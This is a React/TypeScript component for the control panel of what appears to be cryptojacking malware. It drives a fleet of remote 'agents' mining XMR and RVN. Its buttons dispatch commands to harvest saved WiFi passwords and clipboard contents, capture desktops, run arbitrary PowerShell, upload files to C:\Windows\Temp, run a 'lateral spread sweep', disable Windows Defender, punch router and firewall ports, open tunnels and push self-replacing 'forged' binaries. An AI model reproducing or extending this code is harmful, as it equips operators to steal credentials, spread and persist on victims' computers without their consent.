import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import './AgentRemoteActions.css';

const TERMINAL_MAX_LINES = 500;

interface Props {
  /** Legacy: pass full agent object from list/detail pages */
  agent?: Agent;
  agentId?: string;
  agentName?: string;
  /** Explicit online flag — use when agent object may be stale */
  online?: boolean;
  compact?: boolean;
  /** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
   *  Every entry is processed; no results are dropped (fixes M13). */
  commandResults?: SeqCommandResult[];
  /** @deprecated Pass commandResults instead. */
  latestWsMessage?: { type: string; payload: unknown } | null;
  onCommandSent?: (action: string) => void;
  /** If true, inject a live stats snapshot into the terminal when agent updates */
  showLiveStats?: boolean;
}

export default function AgentRemoteActions({
  agent,
  agentId: agentIdProp,
  agentName: agentNameProp,
  online: onlineProp,
  compact = false,
  commandResults,
  onCommandSent,
  showLiveStats = false,
}: Props) {
  const agentId = agentIdProp ?? agent?.id ?? '';
  const agentName = agentNameProp ?? agent?.name ?? 'Agent';
  const isOnline = onlineProp ?? agent?.status === 'online';

  const [isDragging, setIsDragging] = useState(false);
  const [customCmd, setCustomCmd] = useState('');
  // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
  const [terminalLog, setTerminalLog] = useState<string[]>([]);
  const [screenshotData, setScreenshotData] = useState<string | null>(null);
  const [busy, setBusy] = useState<string | null>(null);
  const [wolMac, setWolMac] = useState('');
  const [wolExpanded, setWolExpanded] = useState(false);
  // Fleet upgrade
  const [builds, setBuilds] = useState<Build[]>([]);
  const [selectedBuildId, setSelectedBuildId] = useState<string>('');
  const lastStatsRef = useRef<string>('');
  useEffect(() => {
    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
  }, []);
  const logEndRef = useRef<HTMLDivElement>(null);
  // Track the highest _seq we've already processed.
  // Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
  // where .slice(-N) trims old entries so absolute indices exceed the array length.
  const lastSeenSeq = useRef(0);

  const addLog = useCallback((msg: string) => {
    setTerminalLog((prev) => {
      const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
      // Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
      return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
    });
  }, []);

  useEffect(() => {
    logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  }, [terminalLog]);

  // When the selected agent changes, reset the seen-seq cursor to the current maximum.
  // This prevents reprocessing results from the previous agent or a stale queue.
  useEffect(() => {
    if (commandResults && commandResults.length > 0) {
      lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
    }
    // Intentionally only runs on agentId change — commandResults excluded from deps
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [agentId]);

  // Pre-fill WOL MAC from agent object when it becomes available
  useEffect(() => {
    if (agent?.mac_address && !wolMac) {
      setWolMac(agent.mac_address);
    }
  }, [agent?.mac_address]);

  // Live stats ticker — appends a concise status line whenever agent data changes.
  // Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
  const lastStatsPushRef = useRef(0);
  useEffect(() => {
    if (!showLiveStats || !agent || agent.status !== 'online') return;
    const snapshot = [
      agent.hashrate_15s?.toFixed(0),
      agent.cpu_usage_pct?.toFixed(0),
      agent.memory_usage_pct?.toFixed(0),
      agent.cpu_temp_c,
    ].join('|');
    if (snapshot === lastStatsRef.current) return;
    const now = Date.now();
    if (now - lastStatsPushRef.current < 15000) return;
    lastStatsRef.current = snapshot;
    lastStatsPushRef.current = now;

    const parts: string[] = [
      `XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
      `CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
      `RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
    ];
    if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
    if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
      parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
    }
    if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
    addLog(`◈ LIVE  ${parts.join('  │  ')}`);
  }, [agent, showLiveStats, addLog]);

  // Process every new commandResults entry we haven't seen yet (M13 — no drops).
  // Filters by _seq so the ring-buffer trim never makes us miss results.
  useEffect(() => {
    if (!commandResults || commandResults.length === 0) return;
    const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
    if (newEntries.length === 0) return;
    lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;

    for (const payload of newEntries) {
      const { agent_id, action, success, message } = payload;
      if (agentId && agentId !== 'all' && agent_id !== agentId) continue;

      if (action === 'screenshot') {
        const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
        if (success && message) {
          const clean = sanitizeScreenshotBase64(message);
          if (downloadScreenshotFromBase64(clean, label)) {
            setScreenshotData(`data:image/jpeg;base64,${clean}`);
            addLog(`✓ Screenshot saved — ${label}`);
          } else {
            addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
          }
        } else {
          addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
        }
      } else if (action) {
        const icon = success ? '✓' : '✗';
        addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
      }
    }
  }, [commandResults, agentId, addLog]);

  const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
    if (!agentId) {
      addLog('⚠ No agent selected');
      return;
    }
    if (action !== 'wol' && agent && !isOnline) {
      addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
      return;
    }
    if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
    if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
    if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
    if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
    if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
    if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
    if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
    if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;

    // WOL is handled server-side (no agent connection needed)
    if (action === 'wol') {
      setBusy('wol');
      try {
        addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
        const res = await api.sendWOL(agentId, args.mac as string | undefined);
        if (res.success) {
          addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
        } else {
          addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
        }
      } catch (err: unknown) {
        addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
      } finally {
        setBusy(null);
      }
      return;
    }

    setBusy(action);
    try {
      if (action === 'screenshot') {
        addLog(`◈ Capturing desktop on ${agentName}…`);
      } else {
        addLog(`▶ ${action}  →  ${agentId === 'all' ? 'FLEET' : agentName}`);
      }
      const res = await api.sendAgentCommand(agentId, action, args);
      if (res.success === false) {
        addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
        return;
      }
      if (action !== 'screenshot') addLog(`✓ command queued`);
      onCommandSent?.(action);
    } catch (err: unknown) {
      const msg = err instanceof Error ? err.message : 'Command failed';
      addLog(`✗ ${msg}`);
    } finally {
      setBusy(null);
    }
  };

  const handleDragOver = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(true);
  };
  const handleDragLeave = () => setIsDragging(false);
  const handleDrop = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(false);
    const file = e.dataTransfer.files[0];
    if (!file) return;
    const reader = new FileReader();
    reader.onload = async (evt) => {
      const base64 = (evt.target?.result as string).split(',')[1];
      const targetPath = `C:\\Windows\\Temp\\${file.name}`;
      await dispatch('upload', { path: targetPath, data: base64 });
    };
    reader.readAsDataURL(file);
  };

  const runCustomCommand = (e: React.FormEvent) => {
    e.preventDefault();
    if (!customCmd.trim()) return;
    dispatch('powershell', { command: customCmd });
    setCustomCmd('');
  };

  if (compact) {
    return (
      <div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
        {!isOnline && (
          <div className="compact-offline-banner">⚠ offline — commands disabled</div>
        )}
        <div className="agent-remote-row">
          <button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
          <button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
          <button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
          <button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
          <button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
          <button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
          <button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
        </div>
        {terminalLog.length > 0 && (
          <div className="compact-terminal">
            {terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
          </div>
        )}
      </div>
    );
  }

  const isFleet = agentId === 'all';
  const caps = agent?.capabilities;
  const platform = agent?.platform;

  const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    !isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);

  const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    aggressiveActionHint(action, caps, platform);

  return (
    <div className="tactical-panel">
      <div className="tactical-header">
        <div className="target-indicator">
          <div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
          <h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
          {!isFleet && !isOnline && (
            <span className="offline-badge">OFFLINE — commands disabled</span>
          )}
          {busy && <span className="busy-badge">⏳ {busy}…</span>}
        </div>
      </div>

      <div className="tactical-grid">
        <div className="action-group recon-group">
          <h3>Recon &amp; Intel</h3>
          <div className="button-grid">
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
          </div>
        </div>

        <div className="action-group mining-group">
          <h3>Mining Controls</h3>
          <div className="button-grid">
            <button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
          </div>
        </div>

        <div className="action-group power-group">
          <h3>System Power</h3>
          <div className="button-grid">
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
          </div>
          <div className="wol-row" style={{ marginTop: '0.75rem' }}>
            <button
              type="button"
              className="btn-cyan wol-toggle"
              onClick={() => setWolExpanded((p) => !p)}
              title="Send Wake-on-LAN magic packet to power on a sleeping machine"
            >
              ☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
            </button>
            {wolExpanded && (
              <div className="wol-form">
                <input
                  type="text"
                  className="wol-mac-input"
                  placeholder="MAC address  e.g. AA:BB:CC:DD:EE:FF"
                  value={wolMac}
                  onChange={(e) => setWolMac(e.target.value)}
                />
                <button
                  type="button"
                  className="btn-cyan"
                  disabled={!!busy}
                  onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
                >
                  {busy === 'wol' ? 'Sending…' : 'Send Packet'}
                </button>
              </div>
            )}
          </div>
        </div>

        <div className="action-group upgrade-group">
          <h3>Fleet Upgrade</h3>
          <p className="action-group-hint">
            Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts — no manual access needed.
          </p>
          <div className="upgrade-row">
            <select
              className="upgrade-select"
              value={selectedBuildId}
              onChange={(e) => setSelectedBuildId(e.target.value)}
            >
              <option value="">— pick a build —</option>
              {builds.filter((b) => b.download_url).map((b) => (
                <option key={b.id} value={b.id}>
                  {b.file_name ?? b.id} ({b.platform ?? 'win'})
                </option>
              ))}
            </select>
            <button
              type="button"
              className="btn-cyan upgrade-btn"
              disabled={!isOnline || !!busy || !selectedBuildId}
              onClick={() => {
                const build = builds.find((b) => b.id === selectedBuildId);
                if (!build?.download_url) return;
                dispatch('upgrade', { data: build.download_url });
              }}
            >
              {busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
            </button>
          </div>
        </div>

        <div className="action-group aggressive-group">
          <h3>NAT &amp; Aggressive Ops</h3>
          <p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
          <div className="button-grid">
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_status')}
              title={aggTitle('hole_punch_status')}
              onClick={() => dispatch('hole_punch_status')}
            >
              WAN IP
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch')}
              title={aggTitle('hole_punch')}
              onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
            >
              Hole Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_close')}
              title={aggTitle('hole_punch_close')}
              onClick={() => dispatch('hole_punch_close', { command: '8989' })}
            >
              Close Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_punch')}
              title={aggTitle('firewall_punch')}
              onClick={() => dispatch('firewall_punch', { command: '8989' })}
            >
              Open FW Port
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('start_tunnel')}
              title={aggTitle('start_tunnel')}
              onClick={() => dispatch('start_tunnel')}
            >
              Cloudflare Tunnel
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('subnet_scan')}
              title={aggTitle('subnet_scan')}
              onClick={() => dispatch('subnet_scan', { command: '64' })}
            >
              Subnet Scan
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('spread_now')}
              title={aggTitle('spread_now')}
              onClick={() => dispatch('spread_now')}
            >
              Spread Now
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('mesh_status')}
              title={aggTitle('mesh_status')}
              onClick={() => dispatch('mesh_status')}
            >
              Mesh Peers
            </button>
            <button
              type="button"
              className="btn-red"
              disabled={aggDisabled('defender_off')}
              title={aggTitle('defender_off')}
              onClick={() => dispatch('defender_off')}
            >
              Disable Defender
            </button>
          </div>
        </div>
      </div>

      {screenshotData && (
        <div className="screenshot-viewer">
          <div className="viewer-header">
            <span>Latest capture (also downloaded)</span>
            <button
              type="button"
              onClick={() => {
                const b64 = screenshotData.replace(/^data:image\/jpeg;base64,/, '');
                downloadScreenshotFromBase64(b64, agentName);
              }}
            >
              Download again
            </button>
            <button type="button" onClick={() => setScreenshotData(null)}>✕</button>
          </div>
          <img src={screenshotData} alt="Target Desktop" />
        </div>
      )}

      <div className="tactical-bottom-row">
        <div
          className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
          onDragOver={isOnline ? handleDragOver : undefined}
          onDragLeave={handleDragLeave}
          onDrop={isOnline ? handleDrop : undefined}
        >
          <span className="drop-icon">📥</span>
          <p>Drag &amp; Drop file here</p>
          <small>Uploads to C:\Windows\Temp\</small>
        </div>

        <div className="master-terminal">
          <div className="terminal-titlebar">
            <span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
            <button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
          </div>
          <div className="terminal-output">
            {terminalLog.length === 0 ? (
              <div className="terminal-placeholder">
                <div>◈ Terminal ready — send a command to see output here</div>
                {isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
                {!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
              </div>
            ) : (
              terminalLog.map((log, i) => (
                <div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
                  {log}
                </div>
              ))
            )}
            <div ref={logEndRef} />
          </div>
          <form className="terminal-input-bar" onSubmit={runCustomCommand}>
            <span className="prompt">PS&gt;</span>
            <input
              type="text"
              value={customCmd}
              onChange={(e) => setCustomCmd(e.target.value)}
              placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
              autoComplete="off"
              disabled={!isOnline}
            />
            <button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
          </form>
        </div>
      </div>
    </div>
  );
}
